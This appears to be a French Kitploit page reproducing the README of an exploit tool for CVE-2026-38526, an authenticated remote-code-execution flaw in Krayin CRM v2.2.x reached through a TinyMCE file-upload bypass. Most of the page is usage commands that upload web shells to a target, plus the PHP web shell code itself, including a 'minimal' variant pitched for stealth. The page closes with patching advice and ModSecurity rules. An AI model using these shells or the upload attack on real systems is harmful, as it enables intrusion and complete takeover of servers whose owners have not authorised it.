KrayinCRM-RCE-Exploit-CVE-2026-38526 — CVE-2026-38526 exploit pour Krayin CRM v2.2.x - RCE authentifié via contournement du téléchargement de fichiers TinyMCE. Caractéristiques : shell interactif, payloads multi-types, génération automatique de shell, et vérification. Auteur : Sudeepa Wanigarathna. Pour tests autorisés uniquement. | Kitploit

# Exploitation de base avec shell généré
python3 exploit.py -t http://target.com -u [email protected] -p password

# Télécharger un fichier shell PHP personnalisé
python3 exploit.py -t http://target.com -u [email protected] -p password -f shell.php

# Générer un shell avancé avec mode interactif
python3 exploit.py -t http://target.com -u [email protected] -p password --shell-type advanced -i

# Générer un fichier shell sans exploitation
python3 exploit.py -t http://target.com -u [email protected] -p password --generate-only --shell-type advanced -o my_shell.php

# Utiliser un proxy pour les tests / le débogage
python3 exploit.py -t http://target.com -u [email protected] -p password --proxy http://127.0.0.1:8080

# Sortie JSON pour l'automatisation
python3 exploit.py -t http://target.com -u [email protected] -p password -f shell.php -o json

# Mode verbeux avec délai d'attente personnalisé
python3 exploit.py -t http://target.com -u [email protected] -p password -v --timeout 60

# User-Agent et en-têtes personnalisés
python3 exploit.py -t http://target.com -u [email protected] -p password --user-agent "CustomUA/1.0" --header "X-Forwarded-For: 127.0.0.1"

Shell basique (basic) Exécution de commande simple avec la fonction system().
```
<?php if(isset($_REQUEST['cmd'])) { system($_REQUEST['cmd']); } ?>
```
Shell avancé (advanced) Shell riche en fonctionnalités avec :
- Méthodes d'exécution de commandes multiples
- Belle interface web de type terminal
- Support de l'historique des commandes
- Affichage de l'utilisateur actuel et du nom d'hôte
Shell minimal (minimal) Empreinte minimale pour la discrétion.
```
<?php system($_GET["cmd"]); ?>
```
Gestionnaire de fichiers (file_manager) Interface complète de gestion de fichiers :
- Téléchargement de fichiers
- Suppression de fichiers
- Création de répertoires
- Navigation
- Visualisateur de permissions de fichiers
Shell personnalisé (custom) Utilisez votre propre fichier shell PHP avec le paramètre -f.

{
  "success": true,
  "shell_url": "http://target.com/shell.php",
  "upload_url": "/storage/upload/shell.php",
  "message": "Upload successful",
  "timestamp": 1699123456.789,
  "details": {
    "status_code": 200,
    "response": "..."
  }
}

Option	Description	Valeur par défaut
`--timeout`	Délai d'attente de la requête en secondes	30
`--retry`	Nombre de tentatives de nouvelle tentative	3
`--retry-delay`	Délai entre les tentatives en secondes	2
`--user-agent`	Chaîne User-Agent personnalisée	UA navigateur par défaut
`--header`	En-têtes HTTP personnalisés (Clé : Valeur)	Aucun
`--verify-ssl`	Vérifier les certificats SSL	False
`--proxy`	URL du proxy HTTP/HTTPS	Aucun
`-v`, `--verbose`	Activer la sortie de débogage	False
`-q`, `--quiet`	Supprimer toute sortie	False

Actions immédiates :

# Mettre à jour vers la version corrigée
composer update krayin/crm

# Désactiver temporairement l'accès administrateur
# Supprimer les comptes administrateur inutiles
# Changer tous les mots de passe administrateur

Durcissement du téléchargement de fichiers :

// Valider le type de fichier par le contenu, pas seulement par l'extension
// Implémenter une politique de sécurité du contenu
// Utiliser un pare-feu applicatif Web (WAF)
// Activer l'analyse du téléchargement de fichiers

Contrôle d'accès :

# Restreindre les IP administrateur dans .htaccess
# Implémenter l'authentification multifacteur pour les comptes administrateur
# Audit régulier des administrateurs
# Politiques de délai d'expiration de session

Règles WAF (ModSecurity) :

# Bloquer les téléchargements de fichiers suspects
SecRule FILES "\.(php|phtml|php[0-9])" "id:1001,deny,status:403,msg:'PHP file upload blocked'"

# Bloquer les shells web
SecRule ARGS "system|exec|shell_exec|passthru" "id:1002,deny,status:403,msg:'Shell command blocked'"

CE LOGICIEL EST FOURNI "EN L'ÉTAT" ET TOUTE GARANTIE EXPRESSE OU IMPLICITE, 
Y COMPRIS, MAIS SANS S'Y LIMITER, LES GARANTIES IMPLICITES DE QUALITÉ MARCHANDE 
ET D'ADÉQUATION À UN USAGE PARTICULIER SONT DÉCLINÉES. EN AUCUN CAS 
L'AUTEUR NE POURRAIT ÊTRE TENU RESPONSABLE DE TOUT DOMMAGE DIRECT, INDIRECT, 
ACCESSOIRE, SPÉCIAL, EXEMPLAIRE OU CONSÉCUTIF DÉCOULANT DE L'UTILISATION 
DE CE LOGICIEL.

L'UTILISATION DE CET OUTIL À D'AUTRES FINS QUE DES TESTS DE SÉCURITÉ AUTORISÉS 
EST ILLÉGALE ET CONTRAIRE À L'ÉTHIQUE. L'AUTEUR N'ASSUME AUCUNE RESPONSABILITÉ 
EN CAS D'UTILISATION NON AUTORISÉE OU DE DOMMAGES CAUSÉS PAR CET OUTIL.

# Activer la journalisation verbeuse
python3 exploit.py -t http://target.com -u admin -p pass -v

# Avec proxy (Burp Suite, etc.)
python3 exploit.py -t http://target.com -u admin -p pass --proxy http://127.0.0.1:8080

# Référence rapide
python3 exploit.py -t URL -u UTILISATEUR -p MOT_DE_PASSE [OPTIONS]

# Options :
#   -f FICHIER           Télécharger un shell personnalisé
#   --shell-type TYPE    Basic|Advanced|Minimal|File_Manager|Custom
#   -i                   Mode interactif
#   --proxy URL          Proxy HTTP
#   -v                   Sortie verbeuse
#   -o json              Sortie JSON
#   --generate-only      Créer un shell sans exploiter
#   --timeout SEC        Délai d'attente de la requête
#   --retry N            Nombre de tentatives
#   --user-agent UA      User-Agent personnalisé
#   --header "K: V"      En-têtes personnalisés
#   --verify-ssl         Vérifier les certificats SSL
#   -q, --quiet          Supprimer la sortie

ID CVE	CVE-2026-38526
Logiciel concerné	Krayin CRM v2.2.x
Type de vulnérabilité	Exécution de code à distance authentifiée (RCE)
Authentification requise	Oui (accès niveau Administrateur)
Impact	Compromission complète du système
Score CVSS	8,8 (Élevé)

Paramètre	Description
`-t`, `--target`	URL cible (ex. `http://192.168.1.100`)
`-u`, `--username`	Nom d'utilisateur ou email administrateur
`-p`, `--password`	Mot de passe administrateur

KrayinCRM-RCE-Exploit-CVE-2026-38526

Populaires

À propos

🚨 Détails de la vulnérabilité

Versions concernées

✨ Fonctionnalités

📦 Installation

Prérequis

Installation rapide

Fichier des prérequis (`requirements.txt`)

🚀 Utilisation

Syntaxe de commande de base

Paramètres requis

Exemples d'utilisation courante

🐚 Types de shell

📝 Formats de sortie

Format texte (par défaut)

Format JSON (`-o json`)

Format silencieux (`-q`, `--quiet`)

⚙️ Options avancées

Exemple d'en-têtes personnalisés

🔒 Détection et prévention

Signes de compromission (IoC)

Mesures de prévention

🛡️ Divulgation responsable

Calendrier

📜 Avertissement

🔧 Dépannage

Problèmes courants

Mode débogage

🤝 Contribution

📚 Références

⭐ Soutien

📊 Fiche de référence rapide des commandes